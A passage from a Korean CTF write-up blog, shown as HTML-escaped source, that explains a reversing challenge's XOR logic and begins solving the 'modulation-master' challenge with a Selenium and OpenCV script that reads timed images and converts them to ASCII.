&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-10-28-18.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;변수가 많아 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;calced + 1&lt;/code&gt;은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;calcedP1&lt;/code&gt;로 바꿔두었습니다.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;로직이 좀 복잡해보일수 있지만, 선택된 블럭이 16개정도 반복된 후 do while루프를 돌고 있습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;if (calcedP1 + ...calced &amp;lt; 0x7f)&lt;/code&gt;은 바운더리 관련 연산이여서 마지막 부분 제외하고는 true로 보고 계산하면 됩니다&lt;/p&gt;

&lt;p&gt;치환하면 다음과 같은 코드가 됩니다.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;dat&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# 바운더리 오류 날 경우 a나 b를 0으로 처리하면 됩니다.
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;dat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;이게 로직 전부인데, ai가 출력한 코드는 좀 깁니다. 솔버를 만드느라 그런 듯 합니다.&lt;/p&gt;

&lt;p&gt;위 함수 이용해서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;z3&lt;/code&gt;솔버 이용했으면 됐었을것같습니다.&lt;/p&gt;

&lt;h2 id=&quot;modulation-master&quot;&gt;modulation-master&lt;/h2&gt;

&lt;h3 id=&quot;문제-상황-2&quot;&gt;문제 상황&lt;/h3&gt;

&lt;p&gt;아래와 같은 사이트가 주어집니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-10-28-0.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;start버튼을 누를 경우 아래와 같은 이미지가 나오며, 2초 내에 해당 이미지를 인식해 ascii코드로 입력해야 합니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-10-28-1.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-10-28-2.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;분석-과정-2&quot;&gt;분석 과정&lt;/h3&gt;

&lt;p&gt;크로미움 및 크로미움 드라이버를 이용해 자동화를 진행했습니다.&lt;/p&gt;

&lt;p&gt;첫 시도는 전체 코드를 llm을 이용해 짰다가, 인식률이 좋지 않아 절대좌표를 통해 영역을 나눠 진행하였습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-10-28-3.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;기준점이 되는 좌표는 다음과 같았습니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;y - 27, 331px
x - 60, 252, 446, 640, 834, 1028, 1221, 1415, 1607px
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위 좌표를 이용해 8개 영역으로 나눈 뒤, 첫번째 영역을 무조건 0으로 치환하여 (아스키 범위는 0x7f를 벗어나지 않음), 첫번째 영역과 다른 영역을 1로 인식하였습니다.&lt;/p&gt;

&lt;p&gt;위처럼 시도하였을 때 경계 관련하여 인식 문제가 생겨, 90%정도의 영역만을 인식해 검사하였습니다.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;re&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;time&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;base64&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;numpy&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;io&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BytesIO&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;typing&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Tuple&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Optional&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;cv2&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;PIL&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Image&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;selenium&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webdriver&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;selenium.webdriver.common.by&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;By&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;selenium.webdriver.chrome.options&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Options&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;selenium.webdriver.support.ui&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WebDriverWait&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;selenium.webdriver.support&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;expected_conditions&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EC&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;webdriver_manager.chrome&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ChromeDriverManager&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;selenium.webdriver.chrome.service&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Service&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;URL&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;https://modulation-master-9e36f9625dce.instancer.sekai.team/&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;TOTAL_ROUNDS&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;110&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;SAVE_DIR&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;images&quot;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# ----- 고정 경계 (원본 좌표계) -----
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Y_TOP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Y_BOTTOM&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;27&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;331&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Y_TOP, Y_BOTTOM = 270, 300
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;X_BOUNDS&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;252&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;446&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;640&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;834&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1028&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1221&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1415&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1607&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# 9개 → 8구역
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BASE_W&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;X_BOUNDS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# 1607
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BASE_H&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Y_BOTTOM&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# 331
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 템플릿 중앙 크기 비율(필요시 조정)
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CENTER_FRAC_X&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.90&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;CENTER_FRAC_Y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.90&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;SIM_THRESHOLD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.90&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# 90% 이상 일치면 같은 신호(=0)
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# ----- 유틸 -----
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PRINT_MIN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PRINT_MAX&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;126&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;SETTLE_MS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;35&lt;/span&gt;



&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;wait_for_img_loaded_and_settled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;timeout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;settle_ms&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SETTLE_MS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;img#textImage가 로드되고(complete/decode) 아주 짧은 텀을 준다.&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;w&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WebDriverWait&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;timeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;img&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;until&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;presence_of_element_located&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;By&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CSS_SELECTOR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;img#textImage&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# complete &amp;amp; naturalWidth&amp;gt;0
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;until&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;lambda&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;execute_script&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;const i=document.querySelector(&apos;img#textImage&apos;);return i &amp;amp;&amp;amp; i.complete &amp;amp;&amp;amp; i.naturalWidth&amp;gt;0;&quot;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# decode() + 2 frames + short timeout
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;script&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;
    const done = arguments[0];
    (async () =&amp;gt; &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;img#textImage&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;done&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;decode&apos;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;{}&lt;/span&gt;
        &lt;span class=&quot;si&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;complete&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Promise&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;onload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;onerror&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
          &lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Promise&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requestAnimationFrame&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()));&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Promise&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requestAnimationFrame&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()));&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;done&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;settle_ms&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;si&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;done&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;settle_ms&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;)();
    &quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;set_script_timeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;timeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;execute_async_script&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;img&lt;/span&gt;


